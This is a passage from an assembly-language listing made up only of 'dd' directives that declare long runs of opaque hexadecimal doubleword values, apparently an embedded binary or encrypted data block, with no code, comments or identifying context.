0BA54E787h, 43440009h, 0DAE9764Ah, 330097A7h, 89D0EB0Fh dd 0B8F50578h, 5C230014h, 30AF732Ah, 6F3C9F0Eh, 819E80CEh dd 920F3EEEh, 0E7E5007Ah, 2D6A9CACh, 98057CC6h, 97A9D83Fh dd 98D2B91h, 0F72FB722h, 74F0459h, 8E91027Bh, 0C07ED784h dd 87EE4D1Fh, 57467805h, 944B54D3h, 0FFF29171h, 0E511CB7Ah dd 5AB4161Eh, 0E3E233A1h, 0C113C6Fh, 0C721B35Eh, 5CF53C87h dd 0F25B1B05h, 366918BAh, 43BC483h, 7E1EEB54h, 0F05165B1h dd 461C954Fh, 0BA2B8Fh, 0D8B85008h, 0C9B43h, 922DD0F7h dd 31C7D575h, 4A5820CDh, 20EDCB6Fh, 0EAEFB783h, 895308h dd 0E42FF445h, 86053B23h, 0F717B857h, 0AFE930EAh, 0D1FD902h dd 7C808B6Dh, 2CE45131h, 0EE8416A8h, 98300129h, 0D0DB5625h dd 360E4D71h, 23A67B75h, 0C35D016Dh, 0F6078592h, 0E4206E09h dd 1A90BFAh, 0B23B771Dh, 3A23D026h, 6A3BE79Dh, 82D400CAh dd 1A0AC4BCh, 0EF3B056Ah, 0EABD8529h, 8E0F6343h, 88334B15h dd 5B00BB4Ah, 2C0868Ah, 13D11EA2h, 0E0C2A9F9h, 8BB55F65h dd 7D7940h, 0D3841C17h, 638C31Fh, 0C40500F9h, 0BB8F4E7Dh dd 3D2B9583h, 9F80E1D1h, 30526748h, 64EAD6h, 0F28EB1E8h dd 66414DD3h, 0DB80F0C2h, 0F4E55E2Dh, 0A3D57905h, 73C02EA8h dd 4B0FB9BEh, 0B75E4580h, 10B102CFh, 0CD5D18FAh, 0BB27E3CCh dd 0C58C808Dh, 0DB7481F7h, 3A372A13h, 0E16DA6F1h, 9901EEB8h dd 0ABCE8033h, 8D2EEB3Eh, 0B4803B83h, 0BD6175DFh, 5264CF54h dd 0C90F5CBFh, 117DF58Dh, 7A6FF8F5h, 7329010Dh, 0B02FC089h dd 0E19EC56Eh, 0EFBD7FDAh, 81F07DA9h, 6130F36Ch, 0C25BB62Ch dd 0EE5F1926h, 0FFFC4402h, 0D84FD174h, 0A621A4CAh, 0E9B0216h dd 2989EA80h, 0C466E8E1h, 44EADE6Eh, 0DDB6906Dh, 0F0FC3D40h dd 3B502ADh, 1909CC8Eh, 4095F1DFh, 0C72599BBh, 7E122F6Bh dd 4C140EC5h, 0AF907884h, 4D8075DBh, 0F3BB9F64h, 1CA5104h dd 0D4F159BDh, 0B27FB63Ah, 59F7321Bh, 1C2D0150h, 3F0CE0E9h dd 901AE92Ch, 0D0499398h, 5D013DFCh, 2894ED01h, 0A12B29D7h dd 0E1323E1Ah, 99C188F9h, 56F12B02h, 0DD6B4A4Ah, 0E4029A37h dd 7E3315EBh, 0FDF5C4DEh, 0C8C997C1h, 2C20A43Eh, 35B54713h dd 0E3C12AA9h, 0F26A3EEBh, 503757h, 0CA50F18Bh, 9077184h dd 8589C934h, 0B9A40D25h, 0F4254A01h, 0DD72D0Eh, 9F1FEBA0h dd 15EFA194h, 0AA935917h, 89F981B0h, 9F0E21E4h, 0DBBEA2ACh dd 0E435F60Eh, 0CABBE271h, 0BEA57EDEh, 0B6202AC5h, 93E091h dd 0AF091AC3h, 49636BD0h, 0B7027F00h, 42B903EEh, 0BD899F88h dd 8A6C7FDCh, 0D556BF71h, 0D77ECCh, 0C18BD2B1h, 1CD19589h dd 40C8929Fh, 8224D900h, 0BB00B77Ch, 5A7C5F53h, 0B3C8122Bh dd 0A008FE22h, 5D71AD86h, 9C6EA480h, 0D56F3Ch, 974E75F9h dd 858BA656h, 0A54C4438h, 6906FC5Fh, 812E9FF2h, 1037D6F7h dd 7EDE8A02h, 5010919Ch, 0E930F546h, 160114Bh, 0AC115485h dd 146CBD61h, 62294980h, 0CFEECB00h, 0FA5806F0h, 2B6A13EAh dd 22A4F2F4h, 0F7C58022h, 0C38EC287h, 0AD7EC1E0h, 0D49D29C3h dd 952895B9h, 0D8F94F68h, 6641E8ADh, 1CBE5085h, 0F7F6BE6Ah dd 67D545E0h, 2DB15901h, 0A9FBBE7Ah, 4B492A60h, 0D268F926h dd 0BA9273ACh, 6422A4h, 89344936h, 0D7130203h, 0F0C5EA13h dd 0BB8284B9h, 0CCA272C0h, 0B90201FDh, 0DBBDAB17h, 979F70E3h dd 0F623B100h, 0BD29B4C4h, 26A9D45Dh, 0AE61844Fh, 0EB171D6Eh dd 1D94FF01h, 0FC2583F8h, 76702E73h, 6D412DAh, 2724BB34h dd 159D8304h, 0DBC02B04h, 846C077h, 18314FDDh, 0AD19E1B5h dd 2B25D8B7h, 0C48A6DD2h, 0F19BFC55h, 0F86F890Fh, 34FAD3D2h dd 0E55A8123h, 0D2E63F10h, 83CCB9E5h, 0F2FE9B38h, 0DA95D55Ah dd 45B05540h, 9F120E1Ch, 0F9E47959h, 0D2D1FCF5h, 2E459D04h dd 7FBDD1FCh, 2D1FCB04h dd 48C05B9Bh, 5AF950D6h, 0E5EF9E27h, 0FD7912F1h, 731EEC9Bh dd 8F2B16F2h, 5F04A25Eh, 0D625DC0Bh, 65F65A4Dh, 0C2D00D4h dd 17167FBDh, 673125A1h, 2ACD6229h, 5909EA05h, 40BADC51h dd 0E4293222h, 0CC08FCB7h, 1517CCA4h, 70AC4C6Ah, 562B1EB2h dd 9E3C42B0h, 71131DC0h, 0DDC97E00h, 46E8E306h, 79260B2Fh dd 0A6048FB7h, 2DEDA85Dh, 111E455Bh, 0AD5A500Eh, 0E425F19Fh dd 0D9AC52C5h, 0A0ED6025h, 0D4926BC2h, 0CB72F04h, 2B843400h dd 5CF3BF66h, 0BC05D1Fh, 6CCAC8B3h, 0AF2EF16h, 0C30110A1h dd 0CC2F03DDh, 33D0FD31h, 0BAB2798Bh, 53EB3A9Dh, 5B155015h dd 4DF05C0Ah, 443CA410h, 0DD244FB3h, 0D36A2FB3h, 6045BB02h dd 0B0DDAEB1h, 40A19D22h, 10BF611Bh, 84CFF4h, 295026E4h dd 9FBB90AAh, 22370312h, 5B989AC4h, 0C994DEh, 0F02B68F5h dd 10BD3F33h, 1538F0Bh, 0A6418DABh, 0D50E5CD9h, 0A0413F21h dd 3F2CF3D4h, 0B29B343Bh, 0E43E7A73h, 27A28451h, 5C0C647h dd 137846EBh, 0F26E1006h, 889B5B4Bh, 3265ABC0h, 8E09DF22h dd 0C660A4B0h, 2861EE72h, 0E98D92B2h, 0BE59947Fh, 0C22FE39Dh dd 657F1C42h, 584FABD2h, 1F5FB370h, 9F2C1FE0h, 1A9196B7h dd 0A5486D80h, 1827725Ah, 6498EDAFh, 0D310671Ah, 2EE29ACh dd 0BD3132FDh, 28F5307Dh, 0F62788E8h, 0A9FCA71Fh, 5E1452D6h dd 6FE0DB27h, 0C10199BBh, 6096687Bh, 1728CC8Ah, 0D77F8480h dd 0E0039B6h, 0F3CFE7B4h, 15E013A5h, 73965061h, 0D303F0ACh dd 8B3AB9CBh, 7EDA9239h, 9D236157h, 2F677571h, 625391CAh dd 8896A800h, 71FAD9DCh, 64EC2701h, 8DD3329Ch, 9C5069E8h dd 8B8B667Eh, 17649097h, 0CBF102F4h, 4830A457h, 4F3B5C60h dd 128B5B38h, 7121DD8Ah, 96F36B7h, 83F9FF77h, 6E90F98Fh dd 0E155118Fh, 0DCC6BD6Fh, 0A00D3B00h, 0FC4F1D7h, 0F47D629h dd 0FF502C20h, 0D1F29BD0h, 5390612Fh, 0B3FD7082h, 38C47A0Bh dd 2BA7FC0Dh, 0B5A820FBh, 0EE61FF24h, 800166Eh, 4B75E4E9h dd 0F51717DAh, 0C9AE60EDh, 4B23ABh, 0C9535570h, 193E758h dd 0EA084D78h, 3F61F85Ah, 5FE813E2h, 0DBD34000h, 90D17753h dd 9D8B0872h, 35790D91h, 91840138h, 0FAE90910h, 78979BCFh dd 72B199D6h, 0B24F5E80h, 27CCFA82h, 0B4E71755h, 40BF1F5Ch dd 0F3B42EEh, 89710589h, 0F930FF89h, 53D14495h, 7EB96BE9h dd 0D59086B9h, 534CA1B3h, 4491341h, 15C985B2h, 4D4BB7F9h dd 0BA3DC068h, 609F605h, 0F822F376h, 2C3D9D2Ch, 0DB138680h dd 0D0EC93h, 0D8BB106Eh, 8B423268h, 0DCCCF84Fh, 0F78102F9h dd 1E4592EFh, 3E8D1E61h, 4801568Ah, 0BFBACFD8h, 89EA4062h dd 961D46F1h, 8BAF95AEh, 75960h, 0A03D31C8h, 5F56F967h dd 9509049Ch, 2DBE0191h, 0B17A66FFh, 9659D0C8h, 40957760h dd 81395311h, 1FD805DFh, 71EA5F5Ah, 3F02797Eh, 6A6EAB2Dh dd 6FF8042Fh, 97F08271h, 1F90452h, 0FD1BD59Dh, 93ACD2A7h dd 801E0380h, 1704B1C3h, 0C0A4A792h, 8B27B3FCh, 7D6985F6h dd 2700DA35h, 3BCFBF7Dh, 0FD032F92h, 0E2DBC40h, 0B5B85D82h dd 8B9FD919h, 0D87FDB8Eh, 2669F834h, 0F94FA83Ch, 618D01C0h dd 5AC4B61Bh, 7A50F2D3h, 2FA702A3h, 96210CF1h, 0BF0785D8h dd 51D9B0C4h, 318AC39Ah, 2B42432Dh, 7C53429Dh, 0B782E95Dh dd 5E7E5939h, 0C80F6551h, 0B6C2C01Bh, 5E04A07Eh, 0B7D66EFEh dd 999DBD81h, 962D526Ch, 5030EAC6h, 0B60A8A60h, 6E7BFD61h dd 36700274h, 0D7B89E8Dh, 0F01809C0h, 0DF2C6297h, 8F7E3A0Bh dd 0F1C46D6h, 0E03C8384h, 23CE08C1h, 86C9DE5h, 244BBD71h dd 7BD42CEDh, 38E797C0h, 0E31F3156h, 405ABCBDh, 0A9CFD597h dd 6966F76Bh, 0C59D0312h, 62B55792h, 2A96DFDFh, 5C60ADADh dd 6A80EE5h, 0EFA7E3D3h, 4527F287h, 169CE71Fh, 0EC5FED52h dd 0D88A2726h, 5595B4E6h, 71E2889Bh, 0C613A37Eh, 0FBE892A9h dd 6EB3D813h, 15B2CBF7h, 421E8A33h, 27D9DA3Bh, 0AFF6F6E9h dd 70B95325h, 56007876h, 0E7864B71h, 0BEC18BA1h, 0F000DC2Dh dd 0D3D6DD99h, 12183391h, 0E369B786h, 51012F23h, 0BDC2E41h dd 46D7DC8Ah, 3DDB9B7h, 3429E2BEh, 1CB1A690h, 0F79EE990h dd 95AA5FC6h, 0E6070B05h, 58DF0007h, 1CEB4DADh, 0A2290018h dd 0AC48AEF3h, 0DA2F354Ch, 1A7DF851h, 4A2AB016h, 7DEFBD6h dd 0A7AE9819h, 1B8F30F0h, 0F6BC4D81h, 81400C10h, 19092527h dd 0EB78A9D3h, 0BCD712C5h, 5BEBB1CBh, 0B0BECF1Dh, 271AA910h dd 0C8011050h, 0F6EC09h, 0AB7C5FBEh, 88E40604h, 2BCBAA55h dd 45440136h, 84C017F5h, 2B43B115h, 0ECA014A7h, 0D44AC496h dd 9A7BECDDh, 0C19897DCh, 0C58B010h, 54A1FB45h, 1E4A79ACh dd 2241F3DDh, 0FF000A69h, 6DF00BD1h, 0CA80D4Bh, 0E7CFC4E2h dd 404BAFC2h, 3159B56Bh, 397F1413h, 0BD0D892Ah, 6A1D22EDh dd 4ED7702h, 2251BBC0h, 2C6409BCh, 85DDB859h, 30E4D1ECh dd 0D9A15485h, 4C59261h, 940EB2BBh, 0DF49EB7Fh, 0D8CB1AFAh dd 0F43595E2h, 0DB801C91h, 0CBF04AD2h, 0DE3FE404h, 0CCFF6011h dd 8513336Fh, 60FE34B1h, 0CDF71863h, 0D9EE3Eh, 8543E2Ah dd 5FE09EBh, 0E961A9E7h, 0BE38BF01h, 97BC9031h, 0C878EEFBh dd 6AFC014Fh, 5EAF97ADh, 61D541B3h, 1673290Ch, 0D8FD1935h dd 0E1E151C9h, 905F0104h, 47006A33h, 841A64C2h, 9B4FFF41h dd 69C065ACh, 0A38CC120h, 15B11102h, 745F4871h, 530D4478h dd 54D740FEh, 5BC791Dh, 1133580Ah, 5425DDE1h, 7B78692Fh dd 2EDEDE81h, 0F9B94053h, 0B20BAAECh, 60898D09h, 34BD03A5h dd 0FE0C266Dh, 0D8972EDBh, 42973972h, 423A5F36h, 5D4064EDh dd 13B1C880h, 0A803276Eh, 0A1298033h, 75670B07h, 9BFD00FFh dd 0E250994Dh, 952E317Bh, 5F806DE1h, 55CBEB81h, 6A2A2DCDh dd 94E064EDh, 28D2005h, 9B75AD8h, 0D652A595h, 4061B538h dd 0C5851229h, 86AFE202h, 4FB9010Fh, 38E7E9B5h, 0E38100B0h dd 15C82A46h, 0D1BD5E31h, 8870E61Bh, 90779C8h, 540271E4h dd 99DF2099h, 0A7A4E3E5h, 145A270Bh, 33A58595h, 60D921EEh dd 3161C956h, 25649003h, 0AB1A9778h, 22DFC462h, 191B09C9h dd 0D0166F50h, 8913C9F8h, 0C242FEB5h, 0F556C82Bh, 0BF850779h dd 84BF0220h, 6032A065h, 8E4FE9E2h, 32CB5720h, 9DAB802h dd 47554C50h, 0B80EC824h, 0DBBC92AAh, 0E955C475h, 0F9808295h dd 1791AC5Ch, 10759062h, 4B5BE903h, 7248D17h, 2BF51DA4h dd 128AB336h, 0E2410CCFh, 43B22A6h, 2A4C9EBFh, 93A2B917h dd 8F4449ECh, 60955189h, 0F480237Ch, 27C866A7h, 0AA1ECD00h dd 7C928AFFh, 0EF6B00ECh, 81FEF23Bh, 0F709BAC3h, 735F6172h dd 76FF08BFh, 0E2DC032Eh, 0D4075D8h, 2EB6F283h, 0E0572AB0h dd 10001B2h, 0F2230DE4h, 0BB056C16h, 0A3B85F1h, 0F2EEDF8h dd 984A387Fh, 0B3C398Fh, 84440061h, 1BD26BBh, 4F97034Dh dd 0B01D15F5h, 0DFFB8194h, 0A9E66F5Bh, 48E6B5h, 38634CD2h dd 0B876CA2h, 107AB9DAh, 2F4C9F6h, 38F98E46h, 284045E8h dd 1293321Eh, 0AE092312h, 0C7507E16h, 41B741D8h, 76C97A09h dd 0EA5E0139h, 71056Eh, 58F6DFDAh, 10CF800Ah, 0BAFC8A12h dd 6516A8B3h, 0F285FD34h, 44215E29h, 9D9ABAD8h, 0CDC01B88h dd 3EC69C38h, 97F4BE1Ah, 1A918F35h, 1EC58080h, 1F268FD2h dd 49093CEFh, 0E6627E26h, 5164F052h, 0CBFE5F0Fh, 41FDD3EAh dd 0D24F6A8h, 0DF07FA2Dh dd 84A99B5Ch, 55EB0191h, 60BCB8AAh, 203E5E0Ch, 905C52CCh dd 0D5EF252Eh, 4811BEC5h, 5BF38263h, 984B3CCh, 2993C380h dd 0D05B7B2Eh, 94040DE7h, 5A60AB08h, 76D8C7B8h, 86799DD7h dd 0C704E176h, 6B8B3C3Ah, 57A28DB8h, 19088A2Ah, 399B200Eh dd 6BA5EF68h, 591A7BC5h, 23ED7F32h, 908855E3h, 979B9C5Bh dd 0F5749614h, 54D945BBh, 22B5E370h, 0B4B09A9h, 0DF607B22h dd 7A1355B7h, 6285E1E0h, 1C2D5E01h, 4C75809h, 98EBDDBBh dd 849DB865h, 0EB6219EDh, 0A50C5129h, 17646E6Dh, 0E2065A60h dd 1250612Fh, 0D064DF32h, 7ECE497h, 0A1DAA5C8h, 2D3CE052h dd 5EBF5B17h, 0F402F42Dh, 57648579h, 20E57277h, 29120435h dd 0B583318Dh, 9BA0BF68h, 0C76BFBEh, 810B457Ah, 0EF17D678h dd 1DBD4183h, 7597C4B9h, 0A9AD9C00h, 1B3BB7Eh, 990D4B2Ch dd 1520E2A7h, 6FF232h, 847FBB2Bh, 233A2194h, 0A48C314Bh dd 5B504C52h, 5F2F407Bh, 0D9E368E3h, 0EB52DDE4h, 5C7AE2E9h dd 8B594904h, 807EB725h, 96CEC5B0h, 552EC966h, 0DB2D7E62h dd 0A1372F9Ch, 0AF83E500h, 27C2FE6Ah, 6C59F035h, 2885803Bh dd 0C5C9F65Eh, 7520021Dh, 0B6AE793Fh, 26E9E28Fh, 1D79C373h dd 0A4006518h, 7C76390Eh, 736CB790h, 8D5F4B4Ah, 2EF02BC8h dd 10D4049h, 7EC59527h, 0A68992F6h, 4AF620h, 0B7102540h dd 0C7BF14ECh, 7F8F1D12h, 0E280C464h, 4B89AEACh, 0BCA5B946h dd 863109A3h, 435CDAFDh, 66902540h, 96BB2713h, 0DEA705F9h dd 9D9C60FDh, 0CCA66B82h, 8D755E00h, 2D1545DBh, 4B3B0296h dd 0A01B9070h, 6853F541h, 81A38096h, 4A4B05h, 8A6E6AFFh dd 4787CF3Bh, 3012FEBDh, 5B4860DCh, 0CDBF96E2h, 2239C0A2h dd 42139C54h, 80098BCDh, 7F26E2D1h, 0FC502265h, 0A10701E7h dd 5D4B0675h, 2B5EE64Fh, 0B5F88A50h, 145C0A42h, 58400944h dd 9ED65E88h, 974AF302h, 5C5250B2h, 31CF6EFCh, 0B483FE37h dd 59BB808Bh, 366728FBh, 892CFB7Dh, 90208D4Bh, 0A05A02EBh dd 0F545312Dh, 0A377276Ah, 37F82C3Bh, 0C003D25h, 55A1672Dh dd 9D0210Ah, 1974F04Dh, 33414DB2h, 6103C2A5h, 6F5A12F9h dd 0D3C0E269h, 0C0007CB2h, 13F8F7DDh, 0B3044FC5h, 0D4F9F24Ch dd 54A3D2ACh, 0B7550B87h, 0D94382D6h, 0C7D63B97h, 0C6E23412h dd 0A42FF693h, 0C13F79E5h, 60253EE6h, 1F4119CBh, 0BE79A63Fh dd 651A605Ah, 89250261h, 78627F8Dh, 3137F7h, 0ECF7E1BEh dd 61127654h, 0FEE2036Dh, 13042984h, 1C80BAF8h, 8BEC9CFEh dd 0FCBF1B02h, 45463388h, 3A0C9A19h, 0DC30545Dh, 0FD3D8997h dd 0DCBB0F30h, 76842001h, 0F3A9C381h, 312F42FDh, 0C422BF09h dd 3897763Dh, 8204A955h, 256184D7h, 2DA92DBFh, 1B3A831h dd 7B51D260h, 6FABAE94h, 0FA136B05h, 0BD8A94EAh, 5D0B8EFh dd 871FB789h, 0C809AA97h, 842B5B11h, 0B9F9BF0Fh, 446AD7ECh dd 0B8B1A17h, 0B46C1351h, 0D0108800h, 6729C7C2h, 0EA46013Dh dd 0C3DEA1AEh, 0BAB054F7h, 5AE89AA9h, 33E96102h, 602A7C50h dd 0B70C198Ch, 5A7015E5h, 0F9B083Dh, 5EA70D8Eh, 3121084Dh dd 0D974D420h, 0F961BE2Dh, 9A3A428h, 567B0755h, 0C3E730B0h dd 606A9C84h, 0F6A33BBFh, 27C42F4Bh, 0D5B825ADh, 0B10ECB71h dd 0C486D70Fh, 79F83E22h, 7625B680h, 64005950h, 0DC495EBh dd 0BF5C6603h, 20F2EECBh, 5D701053h, 79400185h, 0FA0228B9h dd 0E53C5060h, 620038A3h, 0B08CE0C4h, 5DD55F2h, 0AC225BAh dd 44891FA8h, 0FE61DFE3h, 6A6AD5DDh, 21580BD9h, 2560FB96h dd 0C2BF95C6h, 27257161h, 1D40C050h, 51952D09h, 14D1C3DBh dd 0E2920F18h, 28B0DCEAh, 530D1127h, 181B7927h, 0DF321FF0h dd 0B6FAE1Eh, 4BF7F534h, 243BBCE2h, 6AC01F17h, 4DBC4E58h dd 0D3C195F5h, 6F74CC47h, 15C85ADAh, 0C237F3C2h, 0B235EB05h dd 89D5D981h, 0E9791B47h, 130E3347h, 9F00AC7Ah, 0D8158E6Ah dd 660F6312h, 0A09689B7h, 0E6AF0DBFh, 0A21EF0Ch, 0FC5E11C5h dd 8FC01788h, 0BF15E72Ah, 0A9720189h, 0D0BE7BB5h, 0EBFCBEEDh dd 1759F50Ah, 78E0CF6Ah, 7B6E2CDCh, 160D2501h, 0B3969AEEh dd 0CB6A0A40h, 0CCEE3D76h, 0CA4BB0BEh, 0B03D227Eh, 97A572FAh dd 3D888453h, 0CB80020Eh, 0B37BC618h, 50E4CD0h, 53FEDDF1h dd 707EF90Fh, 94699697h, 62D8404Eh, 11002224h, 0C933F042h dd 25E9F978h, 0ED57F357h, 0F0E0E764h, 1B9B4389h, 1987CD5Ch dd 0C1F52FA5h, 0B801C46Bh, 0B390C238h, 0DE8E7543h, 6F12D72Fh dd 0DF9B1288h, 968D3E08h, 0F04FE66Ah, 8429DDCh, 19998D29h dd 9004662Eh, 66E96A70h, 0F560C2BCh, 1918CAF8h, 3C069606h dd 18E2ABA5h, 0C0C66D57h, 8BDEDAA0h, 0BF90FE00h, 4FCD106Eh dd 8C0F2F50h, 5D69395Ch, 270E7FBh, 924C0053h, 0BA28011Eh dd 50CDCB42h, 12E0650h, 0C19D23C9h, 0E2BB4901h, 552F42DFh dd 149101B7h, 27B9589h, 771BD04h, 12166F25h, 19F21471h dd 0AAAE4E88h, 40EE4647h, 6AB83BADh, 0B5290902h, 13C412A5h dd 950A4022h, 700B6B7h, 63FBA866h, 0D4F705D9h, 0BEFC562Dh dd 0F381A360h, 7F620426h, 3C24E920h, 9B2C92D4h, 73887858h dd 0C1B2BE2Dh, 14081A26h, 0EBFC6A89h, 0C9100037h, 450E386Fh dd 0D00034AAh, 292001E6h, 27EF1DDAh, 90D1895Ah, 74BF6112h dd 0A889BD92h, 5AFB4C30h, 0C9A501C0h, 0A30060AAh, 47F07685h dd 52699D09h, 8B15CB0Bh, 0B316CAF8h, 0B470FB3Ch, 953B13BFh dd 197138FBh, 781E2818h, 90C0AF08h, 99A5CB81h, 562D5853h dd 97B1E95Fh, 2A5CFC8h, 6571A82Ch, 0F9FFDE50h, 0EF8002C5h dd 4AC25B90h, 0CF376D77h, 9B97BF40h, 6CB00CAEh, 5F0D0926h dd 0C4B4E743h, 229C5CB9h, 0B0F88A1Ch, 6CF0BB00h, 4E66BADh dd 0C9BD0970h, 4E51B919h, 0E87FBDCDh, 57B492DCh, 38128BD9h dd 57E20EF5h, 0EDFCB325h, 0F8AD1892h, 11852981h, 67535301h dd 8A1481BDh, 51012EFCh, 34C99D33h, 0E2F7258Ch, 6B0BCF2Ah dd 2C82BDEh, 104BD31h, 0FCD18BFCh, 8F7984C3h, 0CAE93B3Fh dd 50005E7h, 0B4955BACh, 0B31EC2C4h, 86880A51h, 9491389h dd 84574404h, 2909073Eh, 56A30957h, 0A71AE20Bh, 5BC9E02Ch dd 41ABE31Dh, 0D4092F38h, 41352E9h, 2F5F1DBBh, 0EF98AF0Ah dd 324586DFh, 96885841h, 8055642Eh, 89EBB53Dh, 95589551h dd 80761236h, 0C04AC2E5h, 582A0EA6h, 7102A50Eh, 4D5C074Dh dd 18779C2h, 8B01800Fh, 7B6AF519h, 652578C9h, 0FDEB92A0h dd 6E6414Ah, 8D000922h, 0D090DF64h, 5B04F942h, 0D7E2C82Ch dd 4CCFFA12h, 5B5DB0EBh, 0EE7B912h, 3417ABAh, 0CD79BFE3h dd 3B8BCD9h, 0E07CB64Ah, 0D8F285h, 0D9C992F9h, 29FCD22Dh dd 6FDDBD24h, 0CDDBCFBBh, 0A1871980h, 6C0BD7F5h, 96B3D6Ah dd 978DA76h, 8D09C02Bh, 0D2C2AD93h, 4192CDB7h, 0D8BE004h dd 0EE6B70BAh, 6305D9E7h, 0AE1C6177h, 4AD0DBFEh, 0AAA8D7ADh dd 25D0DC5Ch, 0E24FDF11h, 1A31CF40h, 76BE004Fh, 0C2FCE75Bh dd 0DA778B56h, 0F9941197h, 0F672742Eh, 29A2A075h, 81134EF4h dd 2EDB746Ah, 91BB6E30h, 90267885h, 9F20EAFDh, 0FED12651h dd 0C51348Bh, 603E9C7Dh, 0D381894Fh, 0CF164458h, 6130B87Fh dd 972A38BBh, 1589011Ah, 24BDE35Eh, 0F4DE6DE1h, 0D4080077h dd 0CBAD56BCh, 0F54BB583h, 9C420E8h, 0FEC6C595h, 4112388Eh dd 0E80AA905h, 99E82F7Ch, 4656E61Ah, 9D052B50h, 0BD00EF3h dd 1CD81D9Fh, 0D98A4937h dd 459DE56h, 0E5541605h, 0DDAE0219h, 0F3AC5D54h, 3F2800DEh dd 0E4163AF2h, 0D05FABD8h, 7F5649C8h, 0EC0800BEh, 0E48F91F7h dd 0CA00DC83h, 0BCAB1468h, 4B1DEA5Fh, 0DAFCB8BFh, 73CA5F94h dd 4D254C56h, 5369C0EEh, 2F48BF9Dh, 0FBFE3B99h, 8056E95Ch dd 6203294Bh, 68ED092Dh, 7A705F5Bh, 704BF3B7h, 4C399951h dd 0F6F209BFh, 48A6C444h, 0CA1DD0B7h, 6DCB4085h, 88E780D5h dd 81A82297h, 0F474FC01h, 5A29307h, 9F29B2Eh, 0B1ECFDA1h dd 9DA7BBDh, 0D7711CF5h, 96355D69h, 91B0C106h, 34792054h dd 71C8504Fh, 0D61E0761h, 0A068545Eh, 0E5EBD435h, 8F0A2317h dd 0F54B4BA8h, 0DFB61BD3h, 89EF8E4Bh, 525FD8Dh, 0F0E8F66Ah dd 7FEB36E6h, 52D704EFh, 0A84388ADh, 46BFA0DBh, 416D1620h dd 8B293050h, 1D073680h, 0DC30D813h, 9660638Ch, 81BF402Dh dd 3200A409h, 674E856Bh, 865F48h, 0EFB90683h, 4B62A959h dd 12216695h, 0B98B615Bh, 82194C54h, 0E1FB15BFh, 0B62E5883h dd 9B56E043h, 13AE2F6Ch, 81C7D0F6h, 5EAD23E2h, 0E3516922h dd 0D9E14800h, 3AC915h, 0B6C89F3Bh, 5E2F8E64h, 90BE927h dd 70365BC4h, 3904EF19h, 0C6B7A865h, 0EF933EBCh, 2701B46Fh dd 609E9DC0h, 0FAC26B52h, 0FF5B0519h, 43B873C4h, 0C1059E5Fh dd 3B2F11D9h, 0AD26342Fh, 9BBA4AFFh, 0A49FC008h, 18536F8h dd 48FBEFABh, 6E89FC13h, 8E12726Fh, 902FED77h, 4691687h dd 81B828FFh, 0CE9FF305h, 27F64689h, 0BE1186F0h, 0AE0AC001h dd 79706A81h, 7EFAF421h, 0E5C440C3h, 65003726h, 0B85B71C6h dd 58A0E9DCh, 9C0C5593h, 34D8A755h, 1203245Ch, 0CBE1AC82h dd 767AAF2Eh, 0EDA56D00h, 0B6504DB0h, 278AFC4Ch, 0ADF45318h dd 2D00B365h, 0E1931E14h, 28667732h, 20A2C569h, 68012B11h dd 780B0E9h, 0EDF5B5BBh, 0BC8781D5h, 0C99FB316h, 9B785053h dd 452709D0h, 0E2715479h, 57880F89h, 1500A94Eh, 0F68451C5h dd 2D11E7h, 0A5FB6A5Ah, 0F129392Bh, 89D0E610h, 90173320h dd 2D7F88Bh, 3D8D0970h, 0C8A59F18h, 0FBDAFEDBh, 673018C9h dd 0B072B931h, 67966171h, 0B57EA0DCh, 0ED0B5FB9h, 0B8B6B5FAh dd 27A6F7A0h, 98A9CB4Fh, 4C6AEEE5h, 8473AE02h, 1FDE4D38h dd 212AE90Dh, 218CB67Eh, 0A5EE248Ch, 975C18C7h, 0F9BF6CE8h dd 74D61497h, 0D801B338h, 0D614AB66h, 0B2CA6421h, 4D65DF0Bh dd 0C3045712h, 0ECC93059h, 9533A5DCh, 0A8BED3CEh, 71867209h dd 0BD23821Ah, 0C45C1B9Dh, 310837EAh, 0A2961715h, 83C40096h dd 7A625EFCh, 0D2654FDh, 0C9EB0148h, 0EFCFB3A0h, 804A3C1Fh dd 89D9ED04h, 0C6391D3Eh, 0B58C1DDh, 0C45BF256h, 3F2EB750h dd 23905F96h, 4AD5D050h, 512A9C0Eh, 33BDBBFh, 9FC28060h dd 0AE42FCA2h, 0CDBB6D10h, 20C1D12h, 811E64E3h, 3AB144E7h dd 4F98AF60h, 4BF395D9h, 0CC181859h, 984CA10Ah, 0CD08ACABh dd 4B622516h, 0C1CE4DF5h, 45469EF3h, 8C24EBEAh, 947AABh dd 93E90141h, 2473CD3Ah, 2649EEDh, 2959D09h, 0D1963A57h dd 6ECB0063h, 0B64BC119h, 3609503h, 2D2A6185h, 2D6BBD91h dd 6DFF5FD2h, 9EBB692Dh, 0FFF5D9D8h, 0D6B92F12h, 0BBFC7003h dd 66E4172Ch, 0EE6FEB6Ah, 4552DB1Fh, 17E91AC7h, 27D5ACF5h dd 0F61974EAh, 0C2D4A600h, 0CC8A7923h, 0ED625BC5h, 0F1A49311h dd 15A700F9h, 66F5D617h, 7200B62Eh, 85BFCC7Ch, 253B18EFh dd 9290505Fh, 5B0127F6h, 0F7B3E846h, 474C5FEh, 49BD1329h dd 69559109h, 8F932201h, 37D8433h, 8212A2AEh, 5C7C13CFh dd 0B8F96447h, 0A125A21Bh, 74AEDF19h, 23A43F3Ah, 50B01514h dd 38296189h, 1959F153h, 18045518h, 0EDEACF08h, 0A512CEF0h dd 5BB1E89h, 0BF4554A8h, 0F4820B63h, 0AE38140h, 514A83F3h dd 1722EDCAh, 39850109h, 7394DF1Ch, 4860FB4Ch, 59C689A5h dd 0AB7E9C7h, 6B09BE80h, 16663AAAh, 0A2BAC2BBh, 0D7890345h dd 0D23D1890h, 24E556D6h, 2A150DA0h, 4047B9Dh, 0DDAE1675h dd 176B6CB5h, 8327731Eh, 0D5C78042h, 41CC0E09h, 32319D2Ch dd 56DB5FBFh, 80173FC6h, 1927D417h, 4A19A77Ah, 2B9F9A32h dd 7401A509h, 0F7804174h, 0CF017FB4h, 310FDE8Bh, 5A136433h dd 9200AAD9h, 5B520D64h, 0A844955Fh, 1C51AEA0h, 0BA6072A0h dd 0DE7D8B00h, 0E6A7B97Bh, 61452491h, 2E650A03h, 0C8C02D14h dd 55977A98h, 0FDA55B3Fh, 8498544Ch, 190C51D8h, 936E9531h dd 72FB7B7h, 0C0B7D820h, 2BEBF4A1h, 2BE3E298h, 56DAB334h dd 0B3A39C3h, 5143EFF0h, 652DBE25h, 7E9E12BAh, 7EE84E84h dd 7C20EF97h, 68B939h, 2F3CDCFDh, 36FC1B7Ch, 338CB100h dd 5BF953A5h, 